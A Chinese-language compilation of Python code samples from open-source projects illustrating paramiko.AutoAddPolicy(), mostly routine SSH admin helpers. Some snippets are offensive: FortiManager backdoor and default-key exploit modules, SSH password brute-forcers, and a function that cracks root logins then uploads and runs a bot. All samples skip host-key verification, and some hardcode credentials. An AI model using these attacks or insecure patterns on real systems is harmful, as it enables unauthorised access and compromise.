我们从Python开源项目中,提取了以下49个代码示例,用于说明如何使用paramiko.AutoAddPolicy()。
def execute_ssh_command(self, command): """Executes command on switch. Args: command(str): ssh command to execute """ client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Make connection and create shell. client.connect(self.ipaddr, self._sshtun_port, self.ssh_user, self.ssh_user_pass) shell = client.invoke_shell() # Execute command and get results. _, stdout, stderr = client.exec_command(command) data = self._read_command_output(stdout, stderr, 'both') # Close connection. shell.close() client.close() return data
def _simple_scp(method, source, dest): remote = source if method == 'get' else dest client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(remote.url.host, remote.url.port or 22, remote.url.user, remote.url.password) scpc = scp.SCPClient(client.get_transport()) getattr(scpc, method)(source.url.path, dest.url.path)
def __init__(self, ip_address, user, password=None, key_filename=None): self.ip_address = ip_address self.user = user self.password = password self.key_filename = key_filename self.connected = False self.shell = None self.logger.setLevel(logging.INFO) self.ssh = paramiko.SSHClient() self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.util = Utilvnf() with open(self.util.test_env_config_yaml) as file_fd: test_env_config_yaml = yaml.safe_load(file_fd) file_fd.close() self.ssh_revieve_buff = test_env_config_yaml.get("general").get( "ssh_receive_buffer")
def check(self): url = "{}:{}/img/favicon.png?v=6.0.1-1213".format(self.target, self.port) response = http_request(method="GET", url=url) if response is not None and response.status_code == 200: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) target = self.target.replace("http://", "").replace("https://", "") try: ssh.connect(target, self.ssh_port, timeout=5, username=random_text(8), password=random_text(8)) except paramiko.AuthenticationException: return True # target is vulnerable except Exception: pass return False # target is not vulnerable
def run(self): if self.check(): if "DSA PRIVATE KEY" in self.valid['private_key']: pkey = paramiko.DSSKey.from_private_key(StringIO.StringIO(self.valid['private_key'])) elif "RSA PRIVATE KEY" in self.valid['private_key']: pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(self.valid['private_key'])) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(self.target, self.ssh_port, timeout=5, username=self.valid['user'], pkey=pkey) except Exception: ssh.close() print_error("Device seems to be not vulnerable") else: print_success("SSH - Successful authentication") ssh_interactive(ssh) else: print_error("Exploit failed - target seems to be not vulnerable")
def check(self): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(self.target, self.ssh_port, username='', allow_agent=False, look_for_keys=False) except paramiko.ssh_exception.SSHException: pass except Exception: return False # target is not vulnerable trans = client.get_transport() try: trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) except paramiko.ssh_exception.AuthenticationException: pass except Exception: return None # could not verify try: trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler) except Exception: return False # target is not vulnerable return True # target is vulnerable
def is_ssh_ready(ip, username, password=None, key=None): """ Checks if it is possible to connect to the ip using the credentials. :param ip: ip to check for ssh connectivity :param username: username :param password: password :param key: pass to *.pem key :return: boolean of the connection state """ try: private_key = paramiko.RSAKey.from_private_key_file(os.path.expanduser(key)) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip, username=username, password=password, pkey=private_key) ssh.close() return True except Exception: report("SSH is not responsive for %s:\n%s" % (ip, traceback.format_exc())) return False
def exe_command(hostname_, username_, password_, commandpaths_): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname_, username=username_, password=password_) # channel = ssh.invoke_shell() # ssh_stdin, ssh_stdout, ssh_stderr = channel.exec_command(commandpath_) for command_ in commandpaths_: commandpath_, issudo = command_ ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(commandpath_, get_pty=issudo) for eline in ssh_stdout.readlines(): print('ssh_stdout:{}'.format(eline), end='') for eline in ssh_stderr.readlines(): print('ssh_stderr:{}'.format(eline), end='') # Cleanup ssh_stdin.close() ssh_stdout.close() ssh_stderr.close() # channel.close() ssh.close() LOG.info('end successfully!')
def issue_cmd(self, cmd): """Issue command to switch via SSH and return its stdout. Args: cmd (string): Command to issue. Returns: string: Command stdout. """ if self.log_level == self.DEBUG or self.log_level == self.INFO: paramiko.util.log_to_file(self.SSH_LOG) s = paramiko.SSHClient() s.load_system_host_keys() s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) s.connect(self.ip, self.port, self.userid, self.password) stdin, stdout, stderr = s.exec_command( self.ENABLE_REMOTE_CONFIG % (cmd)) output = stdout.read() s.close() return output
def _connect(self, connection_info): ip = connection_info["ip"] port = connection_info.get("port", 22) username = connection_info["username"] pkey = connection_info.get("pkey") password = connection_info.get("password") LOG.info("Waiting for connectivity on host: %(ip)s:%(port)s", {"ip": ip, "port": port}) utils.wait_for_port_connectivity(ip, port) self._event_manager.progress_update( "Connecting to SSH host: %(ip)s:%(port)s" % {"ip": ip, "port": port}) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=ip, port=port, username=username, pkey=pkey, password=password) self._ssh = ssh
def connect(self): """Call to set connection with remote client.""" try: self.session = paramiko.SSHClient() self.session.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.session.connect( self.client_.ip, username=self.client_.user, password=self.client_.pass_) self.SFTP = self.session.open_sftp() except (paramiko.AuthenticationException, paramiko.ssh_exception.NoValidConnectionsError) as e: print(colored("> {}".format(e), 'red')) self.logger.error(e) sys.exit()
def get_client(self): """ Returns a redis connection object """ conn_config = { "host": self.conn.host or 'localhost', "port": self.conn.port or 22, "login": self.conn.login or 'admin', "password":self.conn.password or 'admin' } client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(conn_config['host'],username=conn_config['login'],password=conn_config['password']) return client
def __init__(self,username,ip,keyfile=None): self.username = username self.ip = ip self._ssh = paramiko.SSHClient() self._ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) if keyfile: self.key_file = keyfile self.key = paramiko.RSAKey.from_private_key_file(self.key_file) if 'dsa' or 'dss' in self.key_file: self.key = paramiko.DSSKey.from_private_key_file(self.key_file) self._ssh.connect(self.ip, 22, self.username, pkey=self.key, timeout=5) else: self.pw = '{0}@baihe.op'.format(username) if self.username == 'root': self.pw = app.config.get('INIT_PASSWORD') self._ssh.connect(self.ip, 22, self.username, password=self.pw, timeout=5)
def get_ssh(host, user, password, look_for_keys=True): ssh = SSHClient() ssh.set_missing_host_key_policy(AutoAddPolicy()) try: try: ssh.connect(host, username=user, password=password, timeout=5, look_for_keys=look_for_keys) except AuthenticationException as err: LOG.error("{0} for host={1} username={2} password={3}".format( repr(err), host, user, password )) raise except Exception as e: LOG.error(str(e)) if 'timed out' in str(e) or 'Connection refused' in str(e): raise Exception('Connection error: timed out or refused.') raise e yield ssh finally: ssh.close()
def exec_in_container(self, pod_id, container_name, command): k8s_pod = self._get_by_id(pod_id) ssh_access = getattr(k8s_pod, 'direct_access', None) if not ssh_access: raise ContainerCommandExecutionError( "Couldn't access the contianer") if container_name not in ssh_access['links']: raise NotFound('Container not found') username, host = ssh_access['links'][container_name].split('@', 1) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(host, username=username, password=ssh_access['auth'], timeout=10, look_for_keys=False, allow_agent=False) except Exception: raise ContainerCommandExecutionError( 'Failed to connect to the container') try: _, o, _ = ssh.exec_command(command, timeout=20) exit_status = o.channel.recv_exit_status() result = o.read().strip('\n') except Exception: raise ContainerCommandExecutionError() return {'exitStatus': exit_status, 'result': result}
def ssh_connect(host, timeout=10): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) error_message = None try: ssh.connect(host, username='root', key_filename=SSH_KEY_FILENAME, timeout=timeout) except (AuthenticationException, SSHException) as e: error_message =\ '{0}.\nCheck hostname, check that user from which '.format(e) +\ 'Kuberdock runs (usually nginx) has ability to login as root on ' \ 'this node, and try again' except socket.timeout: error_message = 'Connection timeout({0} sec). '.format(timeout) +\ 'Check hostname and try again' except socket.error as e: error_message =\ '{0} Check hostname, your credentials, and try again'.format(e) except IOError as e: error_message =\ 'ssh_connect: cannot use SSH-key: {0}'.format(e) return ssh, error_message
def ssh(ip,port,username,password,cmd): try: ssh = paramiko.SSHClient() # ??ssh?? ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=ip, port=int(port), username=username, password=password, ) stdin, stdout, stderr = ssh.exec_command(cmd, timeout=10) result = stdout.read() result1 = result.decode() error = stderr.read().decode('utf-8') if not error: ret = {"ip":ip,"data":result1} ssh.close() return ret except Exception as e: error = "???????,{}".format(e) ret = {"ip": ip, "data": error} return ret
def receive_file(self, source, dest): """ Transmit a file to a remote host via SSH We transmit the indicated file to the target location. Any errors are simply passed along. In addition, the postgres system user is currently assumed as the target file owner. :param source: Name of file to send to indicated host. :param dest: Full path on host to send file. :raise: Exception output obtained from secure transmission, if any. """ client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(self.instance.server.hostname, username='postgres') sftp = client.open_sftp() sftp.put(source, dest) sftp.close() client.close()
def get_ssh_client(self, key_file=None, host_key_file='~/.ssh/known_hosts', uname='root'): import paramiko if not self.instance: print('No instance yet!') return if not self._ssh_client: if not key_file: iobject = IObject() key_file = iobject.get_filename('Path to OpenSSH Key file') self._pkey = paramiko.RSAKey.from_private_key_file(key_file) self._ssh_client = paramiko.SSHClient() self._ssh_client.load_system_host_keys() self._ssh_client.load_host_keys(os.path.expanduser(host_key_file)) self._ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self._ssh_client.connect(self.instance.public_dns_name, username=uname, pkey=self._pkey) return self._ssh_client
def get_paramiko_ssh(hostname, **kwargs): from paramiko import AutoAddPolicy from plumbum.machines.paramiko_machine import ParamikoMachine password = kwargs.get('password') keyfile = kwargs.get('keyfile') settings = {'user': kwargs.get('user', 'root'), 'port': kwargs.get('port', 22), 'look_for_keys': False, 'missing_host_policy': AutoAddPolicy(), 'keep_alive': 60} if password: settings['password'] = password if keyfile: settings['keyfile'] = keyfile ssh = ParamikoMachine(hostname, **settings) ssh.sftp.walk = types.MethodType(walk, ssh.sftp) return ssh
def brute_ssh(self, host): global passwords ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) for pswd in passwords: try: ssh.connect(host, port=22, username="root", password=pswd) sftp = ssh.open_sftp() ssh.exec_command("cd ..") ssh.exec_command("mkdir .etc") ssh.exec_command("cd .etc") for file in os.listdir("SSH_files_linux"): sftp.put(file, ".etc") sftp.close() ssh.exec_command("chmod +x ActualBot.py") ssh.exec_command("./ActualBot.py") ssh.close() except paramiko.AuthenticationException: pass except socket.error: pass return None
def _connect(): client = paramiko.SSHClient() if os.path.exists(NagiosPlugin.OPSMGR_CONF): try: parser = configparser.ConfigParser() parser.read(NagiosPlugin.OPSMGR_CONF, encoding='utf-8') server = parser.get(NagiosPlugin.NAGIOS_SECTION, NagiosPlugin.NAGIOS_SERVER).lstrip('"').rstrip('"') userid = parser.get(NagiosPlugin.NAGIOS_SECTION, NagiosPlugin.NAGIOS_USERID).lstrip('"').rstrip('"') sshkey = parser.get(NagiosPlugin.NAGIOS_SECTION, NagiosPlugin.NAGIOS_SSHKEY).lstrip('"').rstrip('"') prvkey = paramiko.RSAKey.from_private_key_file(sshkey) client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(server, username=userid, pkey=prvkey, timeout=30, allow_agent=False) except: raise exceptions.OpsException("connection to nagios server failed:\n" "Server: " + server + "\n" "Userid: " + userid + "\n" "Sshkey: " + sshkey + "\n") return client
def _connect(): client = paramiko.SSHClient() if os.path.exists(GangliaPlugin.OPSMGR_CONF): try: parser = configparser.ConfigParser() parser.read(GangliaPlugin.OPSMGR_CONF, encoding='utf-8') server = parser.get(GangliaPlugin.GANGLIA_SECTION, GangliaPlugin.GANGLIA_SERVER).lstrip('"').rstrip('"') userid = parser.get(GangliaPlugin.GANGLIA_SECTION, GangliaPlugin.GANGLIA_USERID).lstrip('"').rstrip('"') sshkey = parser.get(GangliaPlugin.GANGLIA_SECTION, GangliaPlugin.GANGLIA_SSHKEY).lstrip('"').rstrip('"') prvkey = paramiko.RSAKey.from_private_key_file(sshkey) client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(server, username=userid, pkey=prvkey, timeout=30, allow_agent=False) except: raise exceptions.OpsException("connection to ganglia server failed:\n" "Server: " + server + "\n" "Userid: " + userid + "\n" "Sshkey: " + sshkey + "\n") return client
def sql_init(ip,username,password,cmd): try: client = paramiko.SSHClient() # Default accept unknown keys client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Connect client.connect(ip, port=22, username=username, password=password,timeout="20s") # Execute shell remotely stdin, stdout, stderr = client.exec_command(cmd) stdout.read() print stdout client.close() #sftp = client.open_sftp() # Make a dir #sftp.mkdir('/home/testssh') # Down file from remote to local ???????????????? #sftp.get('firewall.sh', '/tmp/firewall.sh') # Upload file from local to remote ???????? #sftp.put('D:/iso/auto.sh', '/home/testssh/auto.sh') except Exception, e: print 'authentication failed or execute commands failed:',e #dropdatabase("172.30.121.54","webui","123456","drop database frontend") #sql_init("172.30.121.54", "root", "teamsun", "mysql -uwebui -p123456 < /etc/frontend/frontend.sql")
def __init__(self, context): self.context = context self.connection_attempts = 20 self.transport = None self.client = paramiko.SSHClient() self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) for tries in range(self.connection_attempts): try: self.client.connect(hostname=self.context.hostname, username=self.context.username, port=self.context.port, allow_agent=True, look_for_keys=True) break except paramiko.ssh_exception.AuthenticationException, paramiko.ssh_exception.SSHException: LOG.warning("Unable to authenticate with remote server") raise bastion_ssh.errors.ConnectionError( "Unable to authenticate with remote server") except (socket.error, EOFError): LOG.warning("connection refused. retrying.") time.sleep(tries + 1)
def sshCommand(ip, user, passwd, command): try: key = paramiko.RSAKey.from_private_key_file("/home/ubuntu/data/PyHack/qCloud") except paramiko.PasswordRequiredException: pass client = paramiko.SSHClient() #client.load_host_keys('/home/ubuntu/.ssh/kow') client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, username = user, pkey = key) sshSession = client.get_transport().open_session() if sshSession.active: sshSession.exec_command(command) print sshSession.recv(1024) return
def check(ip, port, timeout): user_list = ['root', 'admin', 'oracle', 'weblogic'] ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) for user in user_list: for pass_ in PASSWORD_DIC: pass_ = str(pass_.replace('{user}', user)) try: ssh.connect(ip, port, user, pass_, timeout=timeout, allow_agent = False, look_for_keys = False) ssh.exec_command('whoami',timeout=timeout) if pass_ == '': pass_ = "null" return u"?????????%s????%s" % (user, pass_) except Exception, e: if "Unable to connect" in e or "timed out" in e: return finally: ssh.close()
def ssh_execute_cli(cli, sff_locator): """ """ remoteConnectionSetup = paramiko.SSHClient() remoteConnectionSetup.set_missing_host_key_policy(paramiko.AutoAddPolicy()) remoteConnectionSetup.connect(sff_locator, username='cisco', password='cisco', allow_agent=False, look_for_keys=False) # invoke the shell so can send multiple commands sshChannel = remoteConnectionSetup.invoke_shell() # make sure in enable mode so we can configure the router is_enabled = sshChannel.recv(1000) if "#" not in is_enabled: enable_router(sshChannel) # execute the necessary commands to configure the router send_command_and_wait_for_execution(sshChannel, "conf t\n", "#", False) send_command_and_wait_for_execution(sshChannel, cli + '\n', "#", False) remoteConnectionSetup.close() # close the connection
def exec_remote_list_of_cmds(hostname, commands, username='root', port=22, sudo=False): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(hostname, port=port, username=username) returned_array = [] for command in commands: log.debug('command to launch in ssh in {}: {}'.format(hostname, command)) stdin, stdout, stderr = client.exec_command(command) out = stdout.read().decode('utf-8') err = stderr.read().decode('utf-8') returned_array.append({'out': out, 'err': err}) log.debug('commnad launched / out: {} / error: {}'.format(out, err)) client.close() return returned_array
def exec_remote_list_of_cmds_dict(hostname, list_dict_commands, username='root', port=22, ssh_key_str='', sudo=False): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) if len(ssh_key_str) > 0: # TODO: make ssh_key login pass else: client.connect(hostname, port=port, username=username) returned_array = list_dict_commands.copy() i = 0 for command in list_dict_commands: log.debug('command to launch in ssh in {}: {}'.format(hostname, command['cmd'])) stdin, stdout, stderr = client.exec_command(command['cmd']) returned_array[i]['out'] = stdout.read().decode('utf-8') returned_array[i]['err'] = stderr.read().decode('utf-8') log.debug('commnad launched / out: {} / error: {}'.format(returned_array[i]['out'], returned_array[i]['err'])) i = i + 1 client.close() return returned_array
def retrieve_out_files(party_out_files, remote_dest_folder, local_dest_folder): for i, f in enumerate(party_out_files): ip = public_ips[i] if USE_PUB_IPS else private_ips[i] key = paramiko.RSAKey.from_private_key_file(KEY_FILE) client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(hostname=ip, username=REMOTE_USER, pkey=key) sftp = client.open_sftp() sftp.chdir(os.path.join('secure-distributed-linear-regression', remote_dest_folder)) logger.info( 'Retrieving .exec file {0} from {1} in {2}'.format( f, remote_dest_folder, ip)) sftp.get(f, os.path.join(local_dest_folder, f)) client.close()
def ssh_connect(server_name,script_path,script_parameter): pkey = paramiko.RSAKey.from_private_key_file(dao_config.key_address) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) command = "bash" + ' ' +script_path + ' ' + script_parameter print(command) ssh.connect( hostname=server_name, port=22, username='root', pkey=pkey) stdin, stdout, stderr = ssh.exec_command(command) # out_log_all=stdout.readlines().decode() out_log_all = stdout.read().decode() err_log_all=stderr.read().decode() ssh.close() if err_log_all: return err_log_all return out_log_all
def __init__(self, hostname, port, username, password, use_scp=False, scp_sanitize=None): """ :param hostname: ssh server hostname or ip :param port: ssh server port :param username: ssh login username :param password: ssh login password :param use_scp: use the SCP protocol for transferring files instead of SFTP (default: False) :param scp_sanitize: sanitization function used on filenames passed to the scp module, if used. (defaut: no sanitization) """ self._hostname = hostname self._port = port self._username = username self._password = password self._use_scp = use_scp self._scp_sanitize = scp_sanitize if callable(scp_sanitize) else lambda s:s if self._use_scp and not scp_imported: raise Exception("The scp package needs to be installed in order to copy files with scp") self._paramiko = paramiko.SSHClient() self._paramiko.set_missing_host_key_policy(paramiko.AutoAddPolicy())
def Brute_Thread(ip,username,passwd): ssh=paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) global n,flag,flag1 n=n+1 try: ssh.connect(ip,username=username,password=passwd) except paramiko.AuthenticationException: print Fore.RED+"[-]Username: %s\tPassword: %s failed."%(username,passwd) + Fore.RESET else: print Fore.GREEN+"\n********************************************************" print "[#]Username: %s\tPassword: %s Found........!!!"%(username,passwd) print "********************************************************"+Fore.RESET flag=1 flag1=1 print Fore.RED+"\nFound correct password after %s attempts..." %n +Fore.RESET return ssh.close() return
def get_ssh_conn(ipaddr, username, password=None, ssh_key=None): """ Connect to remote machine through SSH Port 22 """ try: ssh = SSHClient() ssh.load_system_host_keys() ssh.set_missing_host_key_policy(AutoAddPolicy()) if ssh_key: ssh.connect(hostname=ipaddr, username=username, key_filename=ssh_key, timeout=5) if password: ssh.connect(hostname=ipaddr, username=username, password=password, timeout=5) ssh.close() LOG.info("Successfully established SSH connection to %s", ipaddr) except timeout as ex: raise SSHError(ex.message) except SSHException as ex: raise SSHError(ex.message) except error as ex: raise SSHError(ex.strerror)
def __init__(self, stream_output=False, **connect_kwargs): logger.vdebug('ssh.__init__') super(SSHClient, self).__init__() self._streaming = stream_output default_connect_kwargs = { 'username': cfme_performance['appliance']['ssh']['username'], 'password': cfme_performance['appliance']['ssh']['password'], 'hostname': cfme_performance['appliance']['ip_address'], 'port': 22, 'timeout': 10, 'allow_agent': False, 'look_for_keys': False, 'gss_auth': False } # Overlay defaults with any passed-in kwargs and store default_connect_kwargs.update(connect_kwargs) self._connect_kwargs = default_connect_kwargs self.set_missing_host_key_policy(paramiko.AutoAddPolicy()) _client_session.append(self)
def _checkAccessUsingKey(self, host, user, port=SSH_DEFAULT_PORT): """ check if we have SSH access via user by using SSH keys ? Having an AuthenticatioException is one of the standard ways. :param Lab host: hostname :param str user: user to login :return: None if no connection. Returns instance of SSH connection if OK :rtype: None/object >>> self._checkAccessUsingKey(host, user, port=SSH_DEFAULT_PORT) """ #client = paramiko.SSHClient() client = paramiko.client.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # to ignore user .ssh homedir keys : use those options allow_agent=False, look_for_keys=False) # CAUTION with those option : exception is SSHException (instead of AuthenticationException) client.connect(host, port, user, key_filename=self.privateKey) client.get_transport().set_keepalive(self.__class__.defaultHeartbeat) return client
def open(self): """Open the ssh connection""" key_str = io.StringIO(self.config['key']) pkey = paramiko.RSAKey.from_private_key(key_str) self.client = paramiko.SSHClient() self.client.set_missing_host_key_policy( paramiko.AutoAddPolicy()) self.client.connect( self.config['hostname'], username=self.config['username'], pkey=pkey, timeout=60, banner_timeout=60) self.transport = self.client.get_transport() self.transport.set_keepalive(60) self.script_filename = self.get_tmp_script_filename()
def _connect(self): client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(self.url.host, self.url.port or 22, self.url.user, self.url.password) return scp.SCPClient(client.get_transport())
def login(self, switch): """ login logs into specified switch """ # set up ssh client ssh_setup = paramiko.SSHClient() # add missing host key policy (set as auto) ssh_setup.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # connect to switch ssh_setup.connect( switch, username=self.user, password=self.user_pw, look_for_keys=False, allow_agent=False, ) # set up transport channel for session transport = ssh_setup.get_transport() # invoke session self.ssh_session = transport.open_session() # set up for interactive mode, multiple commands - pty self.ssh_session.get_pty() # invoke session's shell self.ssh_session.invoke_shell() # keep session active with parameters while class is initialized self.ssh_session.keep_this = ssh_setup
def sshclient_execmd_ps(hostname,execmd,port=port, username=username, password=password): paramiko.util.log_to_file("paramiko.log") s = paramiko.SSHClient() s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) s.connect(hostname=hostname, port=port, username=username, password=password) stdin, stdout, stderr = s.exec_command (execmd) stdin.write("Y") # Generally speaking, the first connection, need a simple interaction. out = stdout.read() print out s.close() return out